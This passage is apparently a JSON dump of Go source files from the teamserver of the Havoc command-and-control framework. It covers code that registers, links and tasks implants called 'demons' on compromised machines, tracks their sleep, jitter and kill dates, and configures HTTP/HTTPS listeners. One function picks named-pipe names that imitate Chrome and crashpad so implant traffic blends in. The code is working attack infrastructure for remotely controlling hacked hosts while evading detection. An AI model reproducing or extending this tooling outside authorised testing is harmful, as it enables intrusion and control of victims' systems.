\"\", false, \"the agent will send logs over http(s) to the teamserver\")\n\tCobraServer.Flags().BoolVarP(&flags.Server.Default, \"default\", \"d\", false, \"uses default profile (overwrites --profile)\")\n\tCobraServer.Flags().BoolVarP(&flags.Server.Verbose, \"verbose\", \"v\", false, \"verbose messages\")\n\n\t// add commands to the teamserver cli\n\tHavocCli.Flags().SortFlags = false\n\tHavocCli.AddCommand(CobraServer)\n\tHavocCli.AddCommand(CobraClient)\n}\n\nfunc teamserverFunc(cmd *cobra.Command, args []string) error {\n\tstartMenu()\n\n\tif len(os.Args) <= 2 {\n\t\terr := cmd.Help()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tos.Exit(0)\n\t}\n\n\treturn nil\n}\n\nfunc startMenu() {\n\tfmt.Println(colors.Red(\"              _______           _______  _______ \\n    │\\\\     /│(  ___  )│\\\\     /│(  ___  )(  ____ \\\\\\n    │ )   ( ││ (   ) ││ )   ( ││ (   ) ││ (    \\\\/\\n    │ (___) ││ (___) ││ │   │ ││ │   │ ││ │      \\n    │  ___  ││  ___  │( (   ) )│ │   │ ││ │      \\n    │ (   ) ││ (   ) │ \\\\ \\\\_/ / │ │   │ ││ │      \\n    │ )   ( ││ )   ( │  \\\\   /  │ (___) ││ (____/\\\\\\n    │/     \\\\││/     \\\\│   \\\\_/   (_______)(_______/\"))\n\tfmt.Println()\n\tfmt.Println(\"  \t\", colors.Red(\"pwn\"), \"and\", colors.Blue(\"elevate\"), \"until it's done\")\n\tfmt.Println()\n}\n"
  },
  {
    "path": "teamserver/cmd/server/agent.go",
    "content": "package server\n\nimport (\n\t\"Havoc/pkg/logger\"\n\t\"encoding/json\"\n\t\"math/rand\"\n\t\"time\"\n\t\"fmt\"\n\t\"strconv\"\n\n\t\"Havoc/pkg/agent\"\n\t\"Havoc/pkg/events\"\n\t\"Havoc/pkg/packager\"\n)\n\nfunc (t *Teamserver) AgentUpdate(agent *agent.Agent) {\n\terr := t.DB.AgentUpdate(agent)\n\tif err != nil {\n\t\tlogger.Error(\"Could not update agent: \" + err.Error())\n\t}\n}\n\nfunc (t *Teamserver) Died(Agent *agent.Agent) {\n\tAgent.Active = false\n\tt.UnlinkFromAll(Agent)\n\tt.EventAgentMark(Agent.NameID, \"Dead\")\n\tt.AgentUpdate(Agent)\n}\n\nfunc (t *Teamserver) UnlinkFromAll(Agent *agent.Agent) {\n\t// remove all links from agent\n\tfor i := range Agent.Pivots.Links {\n\t\tt.LinkRemove(Agent, Agent.Pivots.Links[i], false)\n\t\tAgent.Pivots.Links = append(Agent.Pivots.Links[:i], Agent.Pivots.Links[i+1:]...)\n\t}\n\n\t// remove agent from parent's link\n\tfor _, ParentAgent := range t.Agents.Agents {\n\t\tif ParentAgent.NameID == Agent.NameID {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor i := range ParentAgent.Pivots.Links {\n\t\t\tif ParentAgent.Pivots.Links[i].NameID == Agent.NameID {\n\t\t\t\tt.LinkRemove(ParentAgent, Agent, false)\n\t\t\t\tParentAgent.Pivots.Links = append(ParentAgent.Pivots.Links[:i], ParentAgent.Pivots.Links[i+1:]...)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc (t *Teamserver) ParentOf(Agent *agent.Agent) (int, error) {\n\tvar AgentID, _ = strconv.ParseInt(Agent.NameID, 16, 64)\n\n\tID, err := t.DB.ParentOf(int(AgentID))\n\treturn ID, err\n}\n\nfunc (t *Teamserver) LinksOf(Agent *agent.Agent) []int {\n\tvar AgentID, _ = strconv.ParseInt(Agent.NameID, 16, 64)\n\n\treturn t.DB.LinksOf(int(AgentID))\n}\n\nfunc (t *Teamserver) LinkAdd(ParentAgent *agent.Agent, LinkAgent *agent.Agent) error {\n\tvar ParentAgentID, _ = strconv.ParseInt(ParentAgent.NameID, 16, 64)\n\tvar LinkAgentID,   _ = strconv.ParseInt(LinkAgent.NameID, 16, 64)\n\n\terr := t.DB.LinkAdd(int(ParentAgentID), int(LinkAgentID))\n\tif err != nil {\n\t\tlogger.Error(\"Could not add link to database: \" + err.Error())\n\t}\n\n\treturn nil\n}\n\nfunc (t *Teamserver) LinkRemove(ParentAgent *agent.Agent, LinkAgent *agent.Agent, UpdateLinks bool) {\n\tvar ParentAgentID, _ = strconv.ParseInt(ParentAgent.NameID, 16, 64)\n\tvar LinkAgentID,   _ = strconv.ParseInt(LinkAgent.NameID, 16, 64)\n\n\tLinkAgent.Active = false\n\tLinkAgent.Reason = \"Disconnected\"\n\n\tif UpdateLinks {\n\t\tfor i := range ParentAgent.Pivots.Links {\n\t\t\tif ParentAgent.Pivots.Links[i].NameID == LinkAgent.NameID {\n\t\t\t\tParentAgent.Pivots.Links = append(ParentAgent.Pivots.Links[:i], ParentAgent.Pivots.Links[i+1:]...)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\terr := t.DB.LinkRemove(int(ParentAgentID), int(LinkAgentID))\n\tif err != nil {\n\t\tlogger.Error(\"Could not remove link to database: \" + err.Error())\n\t}\n\n\tt.AgentUpdate(LinkAgent)\n}\n\nfunc (t *Teamserver) AgentHasDied(Agent *agent.Agent) bool {\n\tvar AgentID, _ = strconv.ParseInt(Agent.NameID, 16, 64)\n\n\treturn t.DB.AgentHasDied(int(AgentID))\n}\n\nfunc (t *Teamserver) AgentAdd(Agent *agent.Agent) []*agent.Agent {\n\tif Agent != nil {\n\t\tif t.WebHooks != nil {\n\t\t\tt.WebHooks.NewAgent(Agent.ToMap())\n\t\t}\n\t}\n\n\terr := t.DB.AgentAdd(Agent)\n\tif err != nil {\n\t\tlogger.Error(\"Could not add agent to database: \" + err.Error())\n\t}\n\n\treturn t.Agents.AgentsAppend(Agent)\n}\n\nfunc (t *Teamserver) AgentSendNotify(Agent *agent.Agent) {\n\n\tvar pk packager.Package\n\n\t/* create a new agent package */\n\tpk = t.EventNewDemon(Agent)\n\n\t/* append the new agent event */\n\tt.EventAppend(pk)\n\n\t/* send it to every connected client */\n\tt.EventBroadcast(\"\", pk)\n\n}\n\nfunc (t *Teamserver) AgentCallbackSize(DemonInstance *agent.Agent, i int) {\n\tvar (\n\t\tMessage = make(map[string]string)\n\t\tpk      packager.Package\n\t)\n\n\tMessage[\"Type\"] = \"Good\"\n\tMessage[\"Message\"] = fmt.Sprintf(\"Send Task to Agent [%v bytes]\", i)\n\n\tOutputJson, _ := json.Marshal(Message)\n\n\tpk = events.Demons.DemonOutput(DemonInstance.NameID, agent.HAVOC_CONSOLE_MESSAGE, string(OutputJson))\n\n\tt.EventAppend(pk)\n\tt.EventBroadcast(\"\", pk)\n}\n\nfunc (t *Teamserver) AgentInstance(AgentID int) *agent.Agent {\n\tfor _, demon := range t.Agents.Agents {\n\t\tvar NameID, _ = strconv.ParseInt(demon.NameID, 16, 64)\n\n\t\tif AgentID == int(NameID) {\n\t\t\treturn demon\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (t *Teamserver) AgentLastTimeCalled(AgentID string, LastCallback string, Sleep int, Jitter int, KillDate int64, WorkingHours int32) {\n\tvar (\n\t\tOutput = map[string]string{\n\t\t\t\"Last\": LastCallback,\n\t\t\t\"Sleep\": fmt.Sprintf(\"%d\", Sleep),\n\t\t\t\"Jitter\": fmt.Sprintf(\"%d\", Jitter),\n\t\t\t\"KillDate\": fmt.Sprintf(\"%d\", KillDate),\n\t\t\t\"WorkingHours\": fmt.Sprintf(\"%d\", WorkingHours),\n\t\t}\n\n\t\tout, _ = json.Marshal(Output)\n\t\tpk     = events.Demons.DemonOutput(AgentID, agent.COMMAND_NOJOB, string(out))\n\t)\n\n\tt.EventBroadcast(\"\", pk)\n}\n\nfunc (t *Teamserver) AgentExist(AgentID int) bool {\n\tfor _, demon := range t.Agents.Agents {\n\t\tvar NameID, err = strconv.ParseInt(demon.NameID, 16, 64)\n\t\tif err != nil {\n\t\t\tlogger.Debug(\"Failed to convert demon.NameID to int: \" + err.Error())\n\t\t\treturn false\n\t\t}\n\n\t\tif AgentID == int(NameID) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (t *Teamserver) AgentConsole(AgentID string, CommandID int, Output map[string]string) {\n\tvar (\n\t\tout, _ = json.Marshal(Output)\n\t\tpk     = events.Demons.DemonOutput(AgentID, CommandID, string(out))\n\t)\n\n\tt.EventAppend(pk)\n\tt.EventBroadcast(\"\", pk)\n}\n\nfunc (t *Teamserver) PythonModuleCallback(ClientID string, AgentID string, CommandID int, Output map[string]string) {\n\tvar (\n\t\tout, _ = json.Marshal(Output)\n\t\tpk     = events.Demons.DemonOutput(AgentID, CommandID, string(out))\n\t)\n\n\terr := t.SendEvent(ClientID, pk)\n\tif err != nil {\n\t\tlogger.Error(\"SendEvent error: \", err)\n\t}\n}\n\nfunc (t *Teamserver) AgentCallback(DemonID string, Time string) {\n\tvar (\n\t\tOutput = map[string]string{\n\t\t\t\"Output\": Time,\n\t\t}\n\n\t\tout, _ = json.Marshal(Output)\n\t\tpk     = events.Demons.DemonOutput(DemonID, agent.COMMAND_NOJOB, string(out))\n\t)\n\n\tt.EventBroadcast(\"\", pk)\n}\n\nfunc (t *Teamserver) SendLogs() bool {\n\treturn t.Flags.Server.SendLogs\n}\n\nfunc (t *Teamserver) GetDotNetPipeTemplate() string {\n\tPipeTemplate := t.Profile.Config.Demon.DotNetNamePipe\n\n\t// https://gist.github.com/realoriginal/d9178c9b071707fec2d6de89a63e4709\n\n\tPipeTemplates := []string{\n\t\t\"Winsock2\\\\\\\\CatalogChangeListener-$#-0\",\n\t\t\"mojo.{pid}.{tid}.####################\",\n\t\t\"crashpad_{pid}_@@@@@@@@@@@@@@@@\",\n\t\t\"chrome.sync.{pid}.{tid}.########\",\n\t}\n\n\tif PipeTemplate == \"\" {\n\t\trand.Seed(time.Now().UnixNano())\n\t\tindex := rand.Intn(len(PipeTemplates))\n\t\tPipeTemplate = PipeTemplates[index]\n\t}\n\n\treturn PipeTemplate\n}\n"
  },
  {
    "path": "teamserver/cmd/server/dispatch.go",
    "content": "package server\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"Havoc/pkg/agent\"\n\t\"Havoc/pkg/common/builder\"\n\t\"Havoc/pkg/events\"\n\t\"Havoc/pkg/handlers\"\n\t\"Havoc/pkg/logger\"\n\t\"Havoc/pkg/logr\"\n\t\"Havoc/pkg/packager\"\n)\n\nfunc (t *Teamserver) DispatchEvent(pk packager.Package) {\n\tswitch pk.Head.Event {\n\n\tcase packager.Type.Session.Type:\n\n\t\tswitch pk.Body.SubEvent {\n\n\t\tcase packager.Type.Session.MarkAsDead:\n\t\t\tif AgentID, ok := pk.Body.Info[\"AgentID\"]; ok {\n\t\t\t\tfor i := range t.Agents.Agents {\n\t\t\t\t\tif t.Agents.Agents[i].NameID == AgentID {\n\n\t\t\t\t\t\tif val, ok := pk.Body.Info[\"Marked\"]; ok {\n\t\t\t\t\t\t\tif val == \"Dead\" {\n\t\t\t\t\t\t\t\tt.Died(t.Agents.Agents[i])\n\t\t\t\t\t\t\t} else if val == \"Alive\" {\n\t\t\t\t\t\t\t\tt.Agents.Agents[i].Active = true\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tt.AgentUpdate(t.Agents.Agents[i])\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase packager.Type.Session.Input:\n\t\t\tvar (\n\t\t\t\tjob       *agent.Job\n\t\t\t\tcommand   = 0\n\t\t\t\tAgentType = \"Demon\"\n\t\t\t\terr       error\n\t\t\t\tDemonID   string\n\t\t\t\tfound     = false\n\t\t\t)\n\n\t\t\tif agentID, ok := pk.Body.Info[\"DemonID\"].(string); ok {\n\t\t\t\tDemonID = agentID\n\t\t\t} else {\n\t\t\t\tlogger.Debug(\"AgentID [\" + agentID + \"] not found\")\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfor i := range t.Agents.Agents {\n\n\t\t\t\tif t.Agents.Agents[i].NameID == DemonID {\n\t\t\t\t\tfound = true\n\n\t\t\t\t\t// handle demon session input\n\t\t\t\t\t// TODO: maybe move to own function ?\n\t\t\t\t\tif t.Agents.Agents[i].Info.MagicValue == agent.DEMON_MAGIC_VALUE {\n\n\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\tMessage = new(map[string]string)\n\t\t\t\t\t\t\tConsole = func(AgentID string, Message map[string]string) {\n\t\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\t\tout, _ = json.Marshal(Message)\n\t\t\t\t\t\t\t\t\tpk     = events.Demons.DemonOutput(DemonID, agent.HAVOC_CONSOLE_MESSAGE, string(out))\n\t\t\t\t\t\t\t\t)\n\n\t\t\t\t\t\t\t\tt.EventAppend(pk)\n\t\t\t\t\t\t\t\tt.EventBroadcast(\"\", pk)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\tif val, ok := pk.Body.Info[\"CommandID\"]; ok {\n\n\t\t\t\t\t\t\tif pk.Body.Info[\"CommandID\"] == \"Python Plugin\" {\n\n\t\t\t\t\t\t\t\t// TODO: move to own function.\n\t\t\t\t\t\t\t\tlogr.LogrInstance.AddAgentInput(\"Demon\", pk.Body.Info[\"DemonID\"].(string), pk.Head.User, pk.Body.Info[\"TaskID\"].(string), pk.Body.Info[\"CommandLine\"].(string), time.Now().UTC().Format(\"02/01/2006 15:04:05\"))\n\n\t\t\t\t\t\t\t\tif pk.Head.OneTime == \"true\" {\n\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tvar backups = map[string]interface{}{\n\t\t\t\t\t\t\t\t\t\"TaskID\":      pk.Body.Info[\"TaskID\"].(string),\n\t\t\t\t\t\t\t\t\t\"DemonID\":     DemonID,\n\t\t\t\t\t\t\t\t\t\"CommandID\":   \"\",\n\t\t\t\t\t\t\t\t\t\"CommandLine\": pk.Body.Info[\"CommandLine\"].(string),\n\t\t\t\t\t\t\t\t\t\"AgentType\":   AgentType,\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif _, ok := pk.Body.Info[\"CommandID\"].(string); ok {\n\t\t\t\t\t\t\t\t\tbackups[\"CommandID\"] = pk.Body.Info[\"CommandID\"]\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif _, ok := pk.Body.Info[\"TaskMessage\"].(string); ok {\n\t\t\t\t\t\t\t\t\tbackups[\"TaskMessage\"] = pk.Body.Info[\"TaskMessage\"]\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tfor k := range pk.Body.Info {\n\t\t\t\t\t\t\t\t\tdelete(pk.Body.Info, k)\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tpk.Body.Info = backups\n\n\t\t\t\t\t\t\t\tt.EventAppend(pk)\n\t\t\t\t\t\t\t\tt.EventBroadcast(pk.Head.User, pk)\n\n\t\t\t\t\t\t\t\treturn\n\n\t\t\t\t\t\t\t} else if pk.Body.Info[\"CommandID\"] == \"Teamserver\" {\n\n\t\t\t\t\t\t\t\t// TODO: move to own function.\n\t\t\t\t\t\t\t\tlogr.LogrInstance.AddAgentInput(\"Demon\", pk.Body.Info[\"DemonID\"].(string), pk.Head.User, pk.Body.Info[\"TaskID\"].(string), pk.Body.Info[\"CommandLine\"].(string), time.Now().UTC().Format(\"02/01/2006 15:04:05\"))\n\n\t\t\t\t\t\t\t\tvar Command = pk.Body.Info[\"Command\"].(string)\n\n\t\t\t\t\t\t\t\tif pk.Head.OneTime == \"true\" {\n\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tvar backups = map[string]interface{}{\n\t\t\t\t\t\t\t\t\t\"TaskID\":      pk.Body.Info[\"TaskID\"].(string),\n\t\t\t\t\t\t\t\t\t\"DemonID\":     DemonID,\n\t\t\t\t\t\t\t\t\t\"CommandID\":   \"\",\n\t\t\t\t\t\t\t\t\t\"CommandLine\": pk.Body.Info[\"CommandLine\"].(string),\n\t\t\t\t\t\t\t\t\t\"AgentType\":   AgentType,\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif _, ok := pk.Body.Info[\"CommandID\"].(string); ok {\n\t\t\t\t\t\t\t\t\tbackups[\"CommandID\"] = pk.Body.Info[\"CommandID\"]\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tfor k := range pk.Body.Info {\n\t\t\t\t\t\t\t\t\tdelete(pk.Body.Info, k)\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tpk.Body.Info = backups\n\n\t\t\t\t\t\t\t\tt.EventAppend(pk)\n\t\t\t\t\t\t\t\tt.EventBroadcast(pk.Head.User, pk)\n\n\t\t\t\t\t\t\t\tif err = t.Agents.Agents[i].TeamserverTaskPrepare(Command, Console); err != nil {\n\t\t\t\t\t\t\t\t\tConsole(t.Agents.Agents[i].NameID, map[string]string{\n\t\t\t\t\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\t\t\t\t\"Message\": \"Failed to create Task: \" + err.Error(),\n\t\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\treturn\n\n\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t// TODO: move to own function.\n\t\t\t\t\t\t\t\tcommand, err = strconv.Atoi(val.(string))\n\t\t\t\t\t\t\t\tif err != nil {\n\n\t\t\t\t\t\t\t\t\tlogger.Error(\"Failed to convert CommandID to integer: \" + err.Error())\n\t\t\t\t\t\t\t\t\tcommand = 0\n\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t*Message = make(map[string]string)\n\n\t\t\t\t\t\t\t\t\tvar ClientID string\n\t\t\t\t\t\t\t\t\tClientID = \"\"\n\t\t\t\t\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\t\t\t\t\tClientID = client.ClientID\n\t\t\t\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\t\t\t})\n\n\t\t\t\t\t\t\t\t\tjob, err = t.Agents.Agents[i].TaskPrepare(command, pk.Body.Info, Message, ClientID, t)\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tConsole(t.Agents.Agents[i].NameID, map[string]string{\n\t\t\t\t\t\t\t\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\t\t\t\t\t\t\t\"Message\": \"Failed to create Task: \" + err.Error(),\n\t\t\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tif job != nil {\n\t\t\t\t\t\t\t\t\t\tt.Agents.Agents[i].AddJobToQueue(*job)\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tif t.Agents.Agents[i].Pivots.Parent != nil {\n\t\t\t\t\t\t\t\t\t\tlogr.LogrInstance.AddAgentInput(\"Demon\", t.Agents.Agents[i].NameID, pk.Head.User, pk.Body.Info[\"TaskID\"].(string), pk.Body.Info[\"CommandLine\"].(string), time.Now().UTC().Format(\"02/01/2006 15:04:05\"))\n\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\tlogr.LogrInstance.AddAgentInput(\"Demon\", pk.Body.Info[\"DemonID\"].(string), pk.Head.User, pk.Body.Info[\"TaskID\"].(string), pk.Body.Info[\"CommandLine\"].(string), time.Now().UTC().Format(\"02/01/2006 15:04:05\"))\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tif pk.Head.OneTime == \"true\" {\n\t\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tvar backups = map[string]interface{}{\n\t\t\t\t\t\t\t\t\t\t\"TaskID\":      pk.Body.Info[\"TaskID\"].(string),\n\t\t\t\t\t\t\t\t\t\t\"DemonID\":     DemonID,\n\t\t\t\t\t\t\t\t\t\t\"CommandID\":   \"\",\n\t\t\t\t\t\t\t\t\t\t\"CommandLine\": pk.Body.Info[\"CommandLine\"].(string),\n\t\t\t\t\t\t\t\t\t\t\"AgentType\":   AgentType,\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tif _, ok := pk.Body.Info[\"CommandID\"].(string); ok {\n\t\t\t\t\t\t\t\t\t\tbackups[\"CommandID\"] = pk.Body.Info[\"CommandID\"]\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tfor k := range pk.Body.Info {\n\t\t\t\t\t\t\t\t\t\tdelete(pk.Body.Info, k)\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tpk.Body.Info = backups\n\n\t\t\t\t\t\t\t\t\tt.EventAppend(pk)\n\t\t\t\t\t\t\t\t\tt.EventBroadcast(pk.Head.User, pk)\n\n\t\t\t\t\t\t\t\t\tif Message != nil {\n\t\t\t\t\t\t\t\t\t\tConsole(t.Agents.Agents[i].NameID, *Message)\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\tfor _, a := range t.Service.Agents {\n\t\t\t\t\t\t\tif a.MagicValue == fmt.Sprintf(\"0x%x\", t.Agents.Agents[i].Info.MagicValue) {\n\n\t\t\t\t\t\t\t\t// Set agent type\n\t\t\t\t\t\t\t\tAgentType = a.Name\n\n\t\t\t\t\t\t\t\tif pk.Body.Info[\"CommandID\"] == \"Python Plugin\" {\n\t\t\t\t\t\t\t\t\tlogr.LogrInstance.AddAgentInput(AgentType, pk.Body.Info[\"DemonID\"].(string), pk.Head.User, pk.Body.Info[\"TaskID\"].(string), pk.Body.Info[\"CommandLine\"].(string), time.Now().UTC().Format(\"02/01/2006 15:04:05\"))\n\n\t\t\t\t\t\t\t\t\tif pk.Head.OneTime == \"true\" {\n\t\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tvar backups = map[string]interface{}{\n\t\t\t\t\t\t\t\t\t\t\"TaskID\":      pk.Body.Info[\"TaskID\"].(string),\n\t\t\t\t\t\t\t\t\t\t\"DemonID\":     DemonID,\n\t\t\t\t\t\t\t\t\t\t\"CommandID\":   \"\",\n\t\t\t\t\t\t\t\t\t\t\"CommandLine\": pk.Body.Info[\"CommandLine\"].(string),\n\t\t\t\t\t\t\t\t\t\t\"AgentType\":   AgentType,\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tif _, ok := pk.Body.Info[\"CommandID\"].(string); ok {\n\t\t\t\t\t\t\t\t\t\tbackups[\"CommandID\"] = pk.Body.Info[\"CommandID\"]\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tif _, ok := pk.Body.Info[\"TaskMessage\"].(string); ok {\n\t\t\t\t\t\t\t\t\t\tbackups[\"TaskMessage\"] = pk.Body.Info[\"TaskMessage\"]\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tfor k := range pk.Body.Info {\n\t\t\t\t\t\t\t\t\t\tdelete(pk.Body.Info, k)\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tpk.Body.Info = backups\n\n\t\t\t\t\t\t\t\t\tt.EventAppend(pk)\n\t\t\t\t\t\t\t\t\tt.EventBroadcast(pk.Head.User, pk)\n\n\t\t\t\t\t\t\t\t\treturn\n\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t// Send command to agent service\n\t\t\t\t\t\t\t\t\ta.SendTask(pk.Body.Info, t.Agents.Agents[i].ToMap())\n\n\t\t\t\t\t\t\t\t\t// log agent input\n\t\t\t\t\t\t\t\t\tlogr.LogrInstance.AddAgentInput(a.Name, pk.Body.Info[\"DemonID\"].(string), pk.Head.User, pk.Body.Info[\"TaskID\"].(string), pk.Body.Info[\"CommandLine\"].(string), time.Now().UTC().Format(\"02/01/2006 15:04:05\"))\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif found == false {\n\t\t\t\tlogger.Error(fmt.Sprintf(\"The AgentID %s was not found\", DemonID))\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif pk.Head.OneTime == \"true\" {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tvar backups = map[string]interface{}{\n\t\t\t\t\"TaskID\":      pk.Body.Info[\"TaskID\"].(string),\n\t\t\t\t\"DemonID\":     DemonID,\n\t\t\t\t\"CommandID\":   \"\",\n\t\t\t\t\"CommandLine\": pk.Body.Info[\"CommandLine\"].(string),\n\t\t\t\t\"AgentType\":   AgentType,\n\t\t\t}\n\n\t\t\tif _, ok := pk.Body.Info[\"CommandID\"].(string); ok {\n\t\t\t\tbackups[\"CommandID\"] = pk.Body.Info[\"CommandID\"]\n\t\t\t}\n\n\t\t\tfor k := range pk.Body.Info {\n\t\t\t\tdelete(pk.Body.Info, k)\n\t\t\t}\n\n\t\t\tpk.Body.Info = backups\n\n\t\t\tt.EventAppend(pk)\n\t\t\tt.EventBroadcast(pk.Head.User, pk)\n\t\t}\n\n\tcase packager.Type.Chat.Type:\n\n\t\tswitch pk.Body.SubEvent {\n\n\t\tcase packager.Type.Chat.NewMessage:\n\t\t\tt.EventBroadcast(\"\", pk)\n\t\t\tbreak\n\n\t\tcase packager.Type.Chat.NewSession:\n\t\t\tt.EventBroadcast(\"\", pk)\n\t\t\tbreak\n\n\t\tcase packager.Type.Chat.NewListener:\n\t\t\tt.EventBroadcast(\"\", pk)\n\t\t\tbreak\n\n\t\t}\n\n\tcase packager.Type.Listener.Type:\n\t\tswitch pk.Body.SubEvent {\n\n\t\tcase packager.Type.Listener.Add:\n\n\t\t\tvar Protocol = pk.Body.Info[\"Protocol\"].(string)\n\n\t\t\tswitch Protocol {\n\n\t\t\tcase handlers.AGENT_HTTP, handlers.AGENT_HTTPS:\n\n\t\t\t\tvar (\n\t\t\t\t\tHostBind string\n\t\t\t\t\tHosts    []string\n\t\t\t\t\tHeaders  []string\n\t\t\t\t\tUris     []string\n\t\t\t\t)\n\n\t\t\t\tHostBind = pk.Body.Info[\"HostBind\"].(string)\n\n\t\t\t\tfor _, s := range strings.Split(pk.Body.Info[\"Hosts\"].(string), \", \") {\n\t\t\t\t\tif len(s) > 0 {\n\t\t\t\t\t\tHosts = append(Hosts, s)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor _, s := range strings.Split(pk.Body.Info[\"Headers\"].(string), \", \") {\n\t\t\t\t\tif len(s) > 0 {\n\t\t\t\t\t\tHeaders = append(Headers, s)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor _, s := range strings.Split(pk.Body.Info[\"Uris\"].(string), \", \") {\n\t\t\t\t\tif len(s) > 0 {\n\t\t\t\t\t\tUris = append(Uris, s)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tvar Config = handlers.HTTPConfig{\n\t\t\t\t\tName:         pk.Body.Info[\"Name\"].(string),\n\t\t\t\t\tHosts:        Hosts,\n\t\t\t\t\tHostBind:     HostBind,\n\t\t\t\t\tHostRotation: pk.Body.Info[\"HostRotation\"].(string),\n\t\t\t\t\tPortBind:     pk.Body.Info[\"PortBind\"].(string),\n\t\t\t\t\tPortConn:     pk.Body.Info[\"PortConn\"].(string),\n\t\t\t\t\tHeaders:      Headers,\n\t\t\t\t\tUris:         Uris,\n\t\t\t\t\tHostHeader:   pk.Body.Info[\"HostHeader\"].(string),\n\t\t\t\t\tUserAgent:    pk.Body.Info[\"UserAgent\"].(string),\n\t\t\t\t\tBehindRedir:  t.Profile.Config.Demon.TrustXForwardedFor,\n\t\t\t\t}\n\n\t\t\t\tif val, ok := pk.Body.Info[\"Proxy Enabled\"].(string); ok {\n\t\t\t\t\tConfig.Proxy.Enabled = false\n\n\t\t\t\t\tif val == \"true\" {\n\t\t\t\t\t\tConfig.Proxy.Enabled = true\n\n\t\t\t\t\t\tif val, ok = pk.Body.Info[\"Proxy Type\"].(string); ok {\n\t\t\t\t\t\t\tConfig.Proxy.Type = val\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt.Clients.Range(func(key, value any) bool {\n\t\t\t\t\t\t\t\tid := key.(string)\n\t\t\t\t\t\t\t\tclient := value.(*Client)\n\t\t\t\t\t\t\t\tif client.Username == pk.Head.User {\n\t\t\t\t\t\t\t\t\terr := t.SendEvent(id, events.Listener.ListenerError(pk.Head.User, pk.Body.Info[\"Name\"].(string), errors.New(\"proxy type not specified\")))\n\t\t\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\t\t\tlogger.Error(\"Failed to send Event: \" + err.Error())\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\treturn false\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\treturn 